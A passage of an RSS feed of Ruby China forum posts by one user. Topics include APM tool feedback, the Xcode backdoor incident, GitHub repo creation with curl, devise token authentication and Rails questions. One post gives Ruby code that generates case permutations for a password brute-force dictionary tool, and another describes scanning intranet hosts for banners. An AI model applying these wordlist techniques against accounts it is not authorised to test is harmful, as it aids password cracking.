&lt;p&gt;通过 Web 操作一下，过了一会在后台就能看见各种统计了
&lt;img src="https://l.ruby-china.com/photo/2015/9fadd46993047a374121d2c88ff8951c.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;包括：web 事务、吞吐量、apdex、错误率&lt;/p&gt;
&lt;h2 id="建议"&gt;建议&lt;/h2&gt;
&lt;p&gt;页面的展示和使用体验应该其他用户展示得够多了，所以我重点写一下第一次使用这个系统所遇到的一些关于用户体验相关的东西吧。
（有些比较主观，不保证提的建议一定有道理）&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;因为应用是开发模式，提示了在隐藏应用列表。
但我不知道从哪可以打开这个隐藏应用列表，四处点了半天才发现在这个页面的下部。
推荐在“隐藏应用列表”这加个超级链接，因为用户的注意力会集中在警告这里，我第一反应就是去点这里，以为会有个超链能直接跳过去。
&lt;img src="https://l.ruby-china.com/photo/2015/9f5b94c8d233b5b994f2a2692402ab95.png" title="" alt=""&gt;  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;部署时候最好提示一下在.gitignore 里面忽略这个 oneapm.yml 文件。
虽然不太清楚泄露 key 会有什么危害，不过还是不要泄露的好。  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;新用户第一次点开应用监控的时候，可否做一些浏览导航提示的东西。
因为监控这些东西最终的目的是为了帮助用户去改进程序，那如果我作为一个新手，我就不太清楚如何利用所看到的这些数据去改进程序。
希望这方面能有一些比较基础的指导文档。  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;安全方面
这东西是一个探针，可以获取我系统信息，所以我很想知道做了哪些安全方面的考虑。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;第一，会不会有可被利用为远程代码执行等的安全风险。
第二，像我这个测试应用是搭在企业内网中，探针可能就会获取到我请求的 ip 或者其他等比较敏感的东西，是否可以提供一个“安全模式”来避免抓取到敏感信息造成泄露风险。&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;这是我简单试用的一些感受，可以看到除了功能外，我十分很看中安全。我觉得在宣传文案上面除了对功能的描述，加上一些在安全方面的保障会更吸引用户来使用这款产品。&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Wed, 23 Sep 2015 15:57:30 +0800</pubDate>
      <link>https://ruby-china.org/topics/27446</link>
      <guid>https://ruby-china.org/topics/27446</guid>
    </item>
    <item>
      <title>大家都在重下 Xcode 吗？</title>
      <description>&lt;p&gt;对于这种熟练利用我国国情，
深刻了解我国程序员不检验 hash，
凡下载必用迅雷百度云的后门种植思路，
只能佩服。&lt;/p&gt;

&lt;p&gt;向这哥们致敬&lt;/p&gt;

&lt;p&gt;&lt;a href="http://mp.weixin.qq.com/s?__biz=MzI1MDA1MjcxMw==&amp;amp;mid=208924311&amp;amp;idx=1&amp;amp;sn=73b9ef1649a3e8c72c180adb3f6084f7&amp;amp;scene=23&amp;amp;srcid=0918Qm6zRG87dOqOcz0J0Ktl#rd" rel="nofollow" target="_blank" title=""&gt;夜不能寐！众多知名苹果 app 感染病毒&lt;/a&gt;&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Sat, 19 Sep 2015 00:09:38 +0800</pubDate>
      <link>https://ruby-china.org/topics/27398</link>
      <guid>https://ruby-china.org/topics/27398</guid>
    </item>
    <item>
      <title>用 Ruby 完成了同事的一个算法问题</title>
      <description>&lt;p&gt;在写一个爆破密码的字典生成工具，其中有这样一个需求：
输入一个单词：列出这个单词的所有大小写组合，比如 ruby Ruby rUby ruBy rubY RuBy RuBY ....等等，这样 2^n 个&lt;/p&gt;

&lt;p&gt;我想了想，思路为用二维数组保存每个字母的大写和小写：t=[["A", "a"], ["B", "b"], ["C", "c"]]，
然后对它们进行位置固定的组合，使用了数组的 product 方法：&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"abcde"&lt;/span&gt;
&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="no"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;#生成二维数组&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="c1"&gt;#处理数字&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;to_i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_s&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt;
    &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;upcase&lt;/span&gt;
    &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;downcase&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;product&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;length&lt;/span&gt;
  &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;product&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;each&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过我觉得写得有点丑，肯定有更优美的实现，
还望指点&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Fri, 11 Sep 2015 00:06:47 +0800</pubDate>
      <link>https://ruby-china.org/topics/27278</link>
      <guid>https://ruby-china.org/topics/27278</guid>
    </item>
    <item>
      <title>如何合理的统计 Model 中字段的数据</title>
      <description>&lt;p&gt;在做一个内网的设备搜索引擎，功能大概是：
定时扫描内网 IP 段，根据 Banner 数据分析整理后储存到 mongodb，elasticsearch 提供搜索。
只有一个 Website model，含有:port,:os,:http_server 等字段。
Web 页面：搜索关键词，经过 ES 查询返回相关结果。&lt;/p&gt;

&lt;p&gt;问题：
我想在侧边栏展示一下统计数据。比如，http_server 字段，它可能会是 nginx、apache 或者其他等等
最后排序显示出来，像这样：
&lt;img src="https://l.ruby-china.com/photo/2015/fe494be237b1570ca2d774250119fe3f.png" title="" alt=""&gt;
我该怎样合理设计来统计这些信息呢？&lt;/p&gt;

&lt;p&gt;我现在有两个想法，
1.维护一个关键词列表，通过定时任务使用 es 查询关键词的数量存入 redis，最后排序显示出来
2.建立 http_server model 与 Website 一对多的关系。但因为我还会储存 http_server 的版本信息等其他东西，每一组对应关系弄一个模型好像就复杂了。&lt;/p&gt;

&lt;p&gt;请教一下大家。&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Fri, 05 Jun 2015 14:05:38 +0800</pubDate>
      <link>https://ruby-china.org/topics/25900</link>
      <guid>https://ruby-china.org/topics/25900</guid>
    </item>
    <item>
      <title>命令行中新建 Github 远程仓库</title>
      <description>&lt;p&gt;以往我们在 githubs 上面新建一个远程仓库需要这样几个步骤：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  打开浏览器登录 github&lt;/li&gt;
&lt;li&gt;  点击右上角的加号，点击 New repository&lt;/li&gt;
&lt;li&gt;  输入 Repository name，点击 Create repository&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这样就需要用到鼠标通过浏览器进行添加，熟悉用 vim 的朋友应该有体会写着代码突然换用鼠标操作的模式是有点难受的。于是我就真的十分难受， &lt;strong&gt;没有鼠标就真的没法新建远程仓库了吗？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;答案是否定的，我翻到了 &lt;a href="https://developer.github.com/v3/repos/" rel="nofollow" target="_blank" title=""&gt;Github Repository API&lt;/a&gt;    ，上面说只需要认证用户发一个 POST 就可以新建，于是使用 curl 构造 POST:&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'username'&lt;/span&gt; https://api.github.com/user/repos &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"name":"RepoName"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中，username 是你的用户名，RepoName 是你想命名的仓库名。这条命令执行后输入密码就创建成功了，会有仓库相关信息的回显。
接着，就可以添加远程仓库并 Push:&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git remote add origin git@github.com:username/RepoName.git
git push origin master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;试试吧。&lt;/p&gt;

&lt;p&gt;博客原文：&lt;a href="http://www.flincllck.com/create-a-remote-repo-on-github-from-the-cli/" rel="nofollow" target="_blank" title=""&gt;create-a-remote-repo-on-github-from-the-cli&lt;/a&gt;&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Sat, 13 Dec 2014 00:07:44 +0800</pubDate>
      <link>https://ruby-china.org/topics/23174</link>
      <guid>https://ruby-china.org/topics/23174</guid>
    </item>
    <item>
      <title>新生想用 ruby-china 的源码搭自己论坛，感觉完全没法下手啊</title>
      <description>&lt;p&gt;使用了一段时间 discourse，文档比较全还用的 docker 部署也非常方便。感觉有些地方还是不太符合国内用户的习惯，ruby-china 这套就比较好，想尝试搭一下，看着 README 两三下开发模式跑起来了。&lt;/p&gt;

&lt;p&gt;跑生产模式就有点无助了，
&lt;img src="https://l.ruby-china.com/photo/2014/568da04d415cd380d23a23d7f60515a4.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;不知道在哪把 ssl 关掉，简单搜了一下也没找到相关文档。
在我的想象中除了这 SSL 还有其他什么东西需要自己配置，不知道各位有没有部署 ruby-china 生产环境的资料能分享一下&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Tue, 09 Dec 2014 23:48:12 +0800</pubDate>
      <link>https://ruby-china.org/topics/23110</link>
      <guid>https://ruby-china.org/topics/23110</guid>
    </item>
    <item>
      <title>为 devise 添加 token 认证</title>
      <description>&lt;p&gt;前不久用 rails 作一个 iOS 应用的后端，因为传递的是 json 得用到 token，在处理用户验证上花了些时间找资料，因为 devise 在某次更新中把 token 认证模块去掉了。
花了点小时整理了下为 devise 添加 token 认证的方法，不过怕使用的方法在某些方面存在一点问题或者是不够成熟，还请各位帮我看看，有问题能指点下。在更改完后我再将文章弄过来分享给其他需要的人。&lt;/p&gt;

&lt;p&gt;目前暂时放在我的博客上 
&lt;a href="http://www.flincllck.com/use-json-authentication-api-on-rails4/" rel="nofollow" target="_blank"&gt;http://www.flincllck.com/use-json-authentication-api-on-rails4/&lt;/a&gt;&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Tue, 25 Nov 2014 22:28:31 +0800</pubDate>
      <link>https://ruby-china.org/topics/22870</link>
      <guid>https://ruby-china.org/topics/22870</guid>
    </item>
    <item>
      <title>求助，关于 ios 发的带转义字符的 json 信息，rails 解析不对该怎么处理</title>
      <description>&lt;p&gt;user.rb&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;user_params&lt;/span&gt;
    &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;permit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:password_confirmation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:school_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:student_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:student_pwd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:user_logo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;Started POST &lt;span class="s2"&gt;"/users.json"&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;192.168.18.127 at 2014-11-11 11:11:21 +0800
Processing by Users::RegistrationsController#create as JSON
  Parameters: &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;  &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;password_confirmation&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; : &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;1111&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;  &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;password&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; : &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;1111&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;  &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;student_pwd&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; : &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;2123305&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;  &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;email&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; : &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;test@test.com&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;  &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;user_logo&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; : &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;uploads&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;/97631607.jpg&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;  &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;student_id&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; : &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;2123305&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;  &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;school_id&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; : 1&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;}"&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"[FILTERED]"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
Unpermitted parameters: &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"password_confirmation"&lt;/span&gt; : &lt;span class="s2"&gt;"1111"&lt;/span&gt;,
  &lt;span class="s2"&gt;"password"&lt;/span&gt; : &lt;span class="s2"&gt;"1111"&lt;/span&gt;,
  &lt;span class="s2"&gt;"student_pwd"&lt;/span&gt; : &lt;span class="s2"&gt;"2123305"&lt;/span&gt;,
  &lt;span class="s2"&gt;"email"&lt;/span&gt; : &lt;span class="s2"&gt;"test@test.com"&lt;/span&gt;,
  &lt;span class="s2"&gt;"user_logo"&lt;/span&gt; : &lt;span class="s2"&gt;"uploads&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;97631607.jpg"&lt;/span&gt;,
  &lt;span class="s2"&gt;"student_id"&lt;/span&gt; : &lt;span class="s2"&gt;"2123305"&lt;/span&gt;,
  &lt;span class="s2"&gt;"school_id"&lt;/span&gt; : 1
&lt;span class="o"&gt;}&lt;/span&gt;, format
  [1m[35m &lt;span class="o"&gt;(&lt;/span&gt;0.1ms&lt;span class="o"&gt;)&lt;/span&gt;[0m  begin transaction
  [1m[36m &lt;span class="o"&gt;(&lt;/span&gt;0.1ms&lt;span class="o"&gt;)&lt;/span&gt;[0m  [1mrollback transaction[0m
Completed 200 OK &lt;span class="k"&gt;in &lt;/span&gt;4ms &lt;span class="o"&gt;(&lt;/span&gt;Views: 0.2ms | ActiveRecord: 0.1ms&lt;span class="o"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ios app 发送 json 过来是带\ 和 \n的，看上去解析出了问题，不知道该如何处理，还请各位指点下&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Tue, 11 Nov 2014 12:20:46 +0800</pubDate>
      <link>https://ruby-china.org/topics/22605</link>
      <guid>https://ruby-china.org/topics/22605</guid>
    </item>
    <item>
      <title>求助关于一个数据表的关联关系</title>
      <description>&lt;p&gt;有两个表 Users、Activities
首先是一组关系：一个活动需要一个发起者，一个发起者有很多发起的活动
这里是 User 和 Activity 1 对 n 的关系&lt;/p&gt;

&lt;p&gt;这个关系我明白，设置了&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Activity&lt;/span&gt;
  &lt;span class="n"&gt;belongs_to&lt;/span&gt; &lt;span class="ss"&gt;:user&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt;
  &lt;span class="n"&gt;has_many&lt;/span&gt; &lt;span class="ss"&gt;:activities&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后另一组关系：一个活动有很多参与者，一个用户有很多参与的活动
就是 User 和 Activity n 对 n 的关系&lt;/p&gt;

&lt;p&gt;但因为和上面第一个关系用到的是同样的表，我想大概是需要别名什么的。多对多需要建立的第三个表是按原先的名字 activity_usership 建呢，还是以设置的别名来建，我就不知道该怎么弄了，还望大家给我点提示&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Thu, 06 Nov 2014 10:31:17 +0800</pubDate>
      <link>https://ruby-china.org/topics/22519</link>
      <guid>https://ruby-china.org/topics/22519</guid>
    </item>
  </channel>
</rss>
